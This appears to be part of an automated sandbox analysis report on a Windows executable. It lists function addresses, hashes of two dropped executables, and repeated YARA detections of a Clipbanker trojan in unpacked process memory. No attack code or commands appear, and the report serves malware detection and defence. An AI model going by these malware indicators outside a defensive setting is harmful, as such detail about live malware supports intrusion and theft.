Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0043E5A3	1_2_0043E5A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E03520	3_2_05E03520
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E07520	3_2_05E07520
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E2D7F1	3_2_05E2D7F1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0A79A	3_2_05E0A79A
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0C760	3_2_05E0C760
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0E6E0	3_2_05E0E6E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0A699	3_2_05E0A699
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E4B69F	3_2_05E4B69F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E2D1A4	3_2_05E2D1A4
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E4E141	3_2_05E4E141
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E09120	3_2_05E09120
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E070E0	3_2_05E070E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E030F0	3_2_05E030F0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E100D0	3_2_05E100D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0B0B0	3_2_05E0B0B0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0A026	3_2_05E0A026
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E1F030	3_2_05E1F030
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0B000	3_2_05E0B000
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E07393	3_2_05E07393
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E4E37C	3_2_05E4E37C
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E822C0	3_2_05E822C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E07220	3_2_05E07220
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E05DE7	3_2_05E05DE7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E05DF7	3_2_05E05DF7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E42D1E	3_2_05E42D1E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E34E9F	3_2_05E34E9F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E08E60	3_2_05E08E60
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E059F7	3_2_05E059F7
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E089D0	3_2_05E089D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E2E9A3	3_2_05E2E9A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E2F9B0	3_2_05E2F9B0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0A916	3_2_05E0A916
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E218D0	3_2_05E218D0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E07880	3_2_05E07880
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0DBE0	3_2_05E0DBE0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E02B60	3_2_05E02B60
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E10B00	3_2_05E10B00
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E07A80	3_2_05E07A80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E0CA10	3_2_05E0CA10
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe 9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 05E28EC0 appears 57 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 05E30160 appears 49 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 0044F26C appears 41 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 05E50160 appears 49 times
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: String function: 05E48EC0 appears 57 times

Source: lzShU2RYJa.exe, 00000000.00000000.1636262061.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000001.00000002.1667464859.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000001.00000000.1639731112.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000003.00000000.1660274705.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000004.00000000.1666283634.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000005.00000000.1665379725.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000006.00000000.1675306922.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 0000000A.00000000.1802273360.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 0000000B.00000000.1807576569.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000017.00000000.2064309342.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe, 00000018.00000000.2068133415.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe
Source: lzShU2RYJa.exe	Binary or memory string: OriginalFilenameFirez( vs lzShU2RYJa.exe

Source: lzShU2RYJa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 19.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
